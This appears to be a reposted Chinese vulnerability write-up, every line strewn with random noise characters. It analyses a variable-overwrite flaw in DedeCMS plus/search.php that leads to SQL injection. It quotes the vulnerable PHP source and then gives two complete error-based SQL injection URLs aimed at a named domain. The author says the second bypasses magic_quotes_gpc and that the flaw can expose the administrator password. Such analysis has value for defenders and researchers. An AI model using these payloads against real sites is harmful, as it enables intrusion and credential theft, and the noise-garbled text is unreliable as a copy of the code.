微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
6 K/ q( R% W, Z8 D. x作者: c4rp3nt3r@0x50sec.org
# T" Q" P. g# p7 P5 W, G- c$ r9 UDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
! t7 c7 {4 S8 ?* s+ d9 I 0 J; D F, x; M9 G7 N# ^
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
1 |; M4 a( O$ }/ q) p1 U 2 z$ |2 `/ K8 z8 O" R
============
3 a7 s3 b1 v+ E6 N8 r2 K7 A
. o* n O1 R, B$ d5 ? / o* o% m" ^ h% r' ^# L6 v
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% }! V# C7 c: w- L* R
% H# K, N6 C( c' T3 srequire_once(dirname(__FILE__).”/../include/common.inc.php”);- {6 ^4 {! ~) @: Q
require_once(DEDEINC.”/arc.searchview.class.php”);. s5 I/ R# ~; ?8 ~# n8 u
2 }( g9 M& z6 a9 e$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;0 X6 L- N7 [0 @# s
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
3 S9 s. C8 ?* J* ?; h$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
* J0 j/ @& k4 j: L6 d$ o% j& U$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
# r& f! A# h$ W W, j! g5 L3 l$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
; Q' u, W8 q e( u6 Q $ m1 C+ ]7 s+ p7 r# Y4 U
if(!isset($orderby)) $orderby=”;7 `4 i& z7 Y) [" G4 q
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
I0 @, `8 z/ f : _ \, c* S% b1 d0 S% D
# a; ~: u: U7 f6 V9 Q4 lif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
. \! ]* G, Q/ ~9 Z& helse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);3 B" @9 L9 ?3 s t. T8 A# ~: n
' ?; |3 y1 D& \if(!isset($keyword)){
5 B7 \; K5 }' D if(!isset($q)) $q = ”;0 a7 X( R4 I3 K
$keyword=$q;
7 z9 P0 v1 t+ y% a+ t* S& p( w0 t}$ [$ \6 M3 A* C: W& y8 |) u+ o* x
# w/ p; H9 ~& V0 I1 i: ?9 I; c$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));- r% M: M4 [: o. k6 ~" f2 G6 U4 s
+ y8 s( G5 \. y+ r* f1 @2 m# F7 T//查找栏目信息
7 J' B9 Z3 |: c( ]$ Xif(empty($typeid))7 K. o4 X& @9 ^3 i
{
/ p* P$ Z2 t7 z) l6 i) k7 _ b; ] $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
% z" {" V0 T6 z$ X5 X) E/ i" f if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )8 o( t( ]3 K0 X7 i) \5 Q2 d/ ^
{
) ~ @- H' r/ p; u' { $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);4 n6 r9 L6 Y3 F5 [0 C$ L2 G
fwrite($fp, “<”.”?php\r\n”);
3 C1 o/ x5 }8 M" k% ]* r- X4 Z $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);7 m7 F( n9 _0 g( ?8 h' \
$dsql->Execute();
- e3 E Q0 G# R while($row = $dsql->GetArray())
& _2 V5 f* p- N0 B7 [( c% Q {
0 b$ b b$ w8 Z fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”); l! ]' }5 G4 ^- o
}
' Y8 D4 F; z2 _1 @8 e9 g8 e fwrite($fp, ‘?’.'>’);
" P2 D! u2 ~; i) ` fclose($fp);
l$ x4 p5 j( S8 j ~8 Z `+ f+ B7 T | }
. Z2 P! T ^8 T. E' ~ //引入栏目缓存并看关键字是否有相关栏目内容, ^7 o6 e' v( v, O- E. \, H
require_once($typenameCacheFile);( e/ i. _' F \$ k }. I. Z
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
, i0 C( L* q# q//& Z- r# ~& r+ c$ ~+ d0 L$ k
if(isset($typeArr) && is_array($typeArr)), I0 b2 D% K* x1 s2 d3 D+ T& C" [& I- u
{3 d( Q4 ?) P$ E* ^% r( G
foreach($typeArr as $id=>$typename)6 f0 p2 J S! M. G3 q6 U8 Z
{
; U8 j% T- @, B4 K% l/ m 6 @3 n$ `$ Z L
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
! J: l4 }- \; a* k& |% A if($keyword != $keywordn)6 \9 E, x5 v% ^6 ^; r" S* D
{. ~/ v% K; f$ o
$keyword = $keywordn;
; I4 H* `0 h* T <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设- M* W2 E' H: K2 z
break; b( s& e, D7 u3 g9 `
}1 \1 a6 a/ H! ?0 D" L5 k% W
}
5 H" c- \$ F. |* o. N" ~ }. C5 W: A1 |, h% P0 |
}0 _% B! ~$ U7 ~# w, X
然后plus/search.php文件下面定义了一个 Search类的对象 .
- G0 I4 W1 I9 ^在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类. W L: b1 ~' K! u( ~; u6 {/ Z @ Z
$this->TypeLink = new TypeLink($typeid);
( a* V2 P6 L4 K3 B% `- r# ~
5 N5 r1 y1 { Y3 YTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.) _0 ]3 l% }. o
# N8 o/ a. g* j# J, X7 p2 k+ J8 x- N
class TypeLink9 u$ `3 I9 h3 ]' T
{9 W! a I+ {( B W+ {
var $typeDir;
& P' |+ E3 G7 u% p var $dsql;
) l6 m2 t8 _6 _7 T$ e; t: O var $TypeID;
. s( j7 T; j4 ?% E var $baseDir;
, ~4 M: q K {8 u var $modDir;
5 w) i( g0 t0 l1 \( D& Y var $indexUrl;
* ^. T# @- |7 v$ e, N var $indexName;
5 b4 o+ \1 w& N4 U; |* H# R/ } var $TypeInfos;# ?% V% g6 F2 m; }7 Y0 e
var $SplitSymbol;
5 Z' ?3 }" T2 R6 R$ D5 @ var $valuePosition;0 B1 D P' H: B4 i; S3 u
var $valuePositionName;
; M% |' ] @* C$ `$ l Q var $OptionArrayList;//构造函数///////# L6 }. F+ E z0 z Z
//php5构造函数
8 p+ c! X. l) e function __construct($typeid)
/ B8 k$ y' x# g4 m7 o {3 j$ k- w3 N# y H# q
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl']; q7 Y5 Q' H I. O8 J
$this->indexName = $GLOBALS['cfg_indexname'];- A* ~; z3 x, E2 l/ b# p1 {2 o
$this->baseDir = $GLOBALS['cfg_basedir'];
6 A! R8 h1 e7 t, i$ T $this->modDir = $GLOBALS['cfg_templets_dir'];
) R, D2 ~- N# Y; i" c $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];9 \: u% @1 u3 P2 Q0 C! V
$this->dsql = $GLOBALS['dsql'];
( [8 z* u+ \( }# F $this->TypeID = $typeid;4 A" q2 N' q) k9 d* p
$this->valuePosition = ”;
/ N' @; v( _% H4 l6 Q $this->valuePositionName = ”;+ j5 I1 _ p; f. g
$this->typeDir = ”;
6 B6 o# q; J5 W2 b) Y $this->OptionArrayList = ”;, Q" U& J$ y0 A }+ z/ |
6 z9 q8 x& o& f //载入类目信息
5 i# q9 Q9 u |; |1 U
: t% J4 u1 y( o <font color=”Red”>$query = “SELECT tp.*,ch.typename as7 u$ @. t* y4 x1 H
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join/ t7 J& {" F O1 l- G7 y+ S4 g
`#@__channeltype` ch) n5 Y! y$ [, n# l
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿' W6 i0 n! [: e" T
8 S+ g4 A7 Y4 z9 [$ H1 K/ b5 ] if($typeid > 0)0 M, h- c' [0 V# T! q! P3 I
{
( ?9 t- |, O& a# c. A. P3 K7 p$ ]) p& f $this->TypeInfos = $this->dsql->GetOne($query);, T5 _7 q( }( V. k( G
利用代码一 需要 即使magic_quotes_gpc = Off
% `. ^: [7 ?- v3 f/ K ) S) a. c U+ m, {- A3 i/ A! @
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title4 A* l4 r5 P: L/ E) ^
, x" L" _, a. L
这只是其中一个利用代码… Search 类的构造函数再往下
/ m! d+ N8 U% m. V
% i( Y3 _# m9 @8 D* p……省略- y$ \' S8 f5 I8 d0 `
$this->TypeID = $typeid;) e; u }" `3 o: i, S
……省略
) u9 I5 T% n K; O% lif($this->TypeID==”0″){3 K, C. B- u% a6 U5 Q
$this->ChannelTypeid=1;; O7 b- i: d9 [" w
}else{
6 u# G% a- ]: \0 P9 U9 H7 d $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲4 V3 b" ]; g) u5 L+ Q# `
//现在不鸡肋了吧亲…
: X8 P3 H' [6 B3 | $this->ChannelTypeid=$row['channeltype'];
# y9 t9 F7 t: z+ ^( Y; j3 r6 l
2 F o5 x" o5 w5 U: J d% {/ h }' }5 t0 T5 h) j
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.3 X* H% H7 S; j! e. |
( I# T6 a7 G; U7 a1 twww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
1 i ?+ z& n. y) d1 s! B : u( C$ r" x7 S3 `4 w/ q! a0 @' \$ V
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站3 H3 p& a7 J! |2 g; c
|